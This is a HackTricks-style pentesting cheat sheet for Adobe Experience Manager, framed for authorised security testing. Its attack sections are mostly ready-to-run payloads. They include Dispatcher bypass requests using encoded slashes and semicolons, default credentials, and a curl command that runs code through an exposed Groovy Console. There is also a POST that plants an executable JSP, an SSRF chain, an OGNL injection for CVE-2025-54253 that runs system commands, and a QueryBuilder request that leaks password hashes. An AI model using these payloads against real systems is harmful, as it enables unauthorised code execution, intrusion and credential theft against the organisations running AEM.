AEM (Adobe Experience Manager) Pentesting

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) is an enterprise CMS that runs on top of Apache Sling/Felix (OSGi) and a Java Content Repository (JCR).
From an attacker perspective AEM instances very often expose dangerous development endpoints, weak Dispatcher rules, default credentials and a long tail of CVEs that are patched every quarter.

The checklist below focuses on externally reachable (unauth) attack surface that keeps showing up in real engagements (2022-2026).

1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Other quick indicators:

• /etc.clientlibs/ static path present (returns JS/CSS).
• /libs/granite/core/content/login.html login page with the “Adobe Experience Manager” banner.
• </script><!--/* CQ */--> comment at the bottom of HTML.

2. High-value unauthenticated endpoints

Dispatcher bypass tricks (still working in 2025/2026)

Most production sites sit behind the Dispatcher (reverse-proxy). Filter rules are frequently bypassed by abusing encoded characters or allowed static extensions.

Classic semicolon + allowed extension

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.

3. Common misconfigurations (still alive in 2026)

1. Anonymous POST servlet – POST /.json with :operation=import lets you plant new JCR nodes. Blocking *.json POST in the Dispatcher fixes it.
2. World-readable user profiles – default ACL grants jcr:read on /home/users/**/profile/* to everyone.
3. Default credentials – admin:admin, author:author, replication:replication.
4. WCMDebugFilter enabled ⇒ reflected XSS via ?debug=layout (CVE-2016-7882, still found on legacy 6.4 installs).
5. Groovy Console exposed – remote code execution by sending a Groovy script:

   curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
   

6. Dispatcher encoded-slash gap – /bin/querybuilder.json and /etc/truststore.json reachable with %2f/%3B even when blocked by path filters.
7. AEM Forms Struts devMode left enabled – /adminui/debug?expression= evaluates OGNL without auth (CVE-2025-54253) leading to unauth RCE; paired XXE in Forms submission (CVE-2025-54254) allows file read.

4. Recent vulnerabilities (service-pack cadence)

Always check the APSB bulletin matching the customer’s service-pack and push for the latest 6.5.24 (Nov 26, 2025) or Cloud Service 2025.12. AEM Forms on JEE requires its own add-on hotfix 6.5.0-0108+.

5. Exploitation snippets

5.1 RCE via dispatcher bypass + JSP upload

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Now request /content/evil.jsp – the JSP runs with the AEM process user.

5.2 SSRF to RCE (historical < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py from aem-hacker automates the full chain.

5.3 OGNL RCE on AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

If vulnerable, the HTTP body contains the command output.

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Returns user nodes including rep:password hashes when anonymous read ACLs are default.

6. Tooling

• aem-hacker – Swiss-army enumeration script, supports dispatcher bypass, SSRF detection, default-creds checks and more.

  python3 aem_hacker.py -u https://target --host attacker-ip
  

• Tenable WAS plugin 115065 – Detects QueryBuilder hash disclosure & encoded-slash bypass automatically (published Dec 2025).
• Content brute-force – recursively request /_jcr_content.(json|html) to discover hidden components.
• osgi-infect – upload malicious OSGi bundle via /system/console/bundles if creds available.

References

• Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
• BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.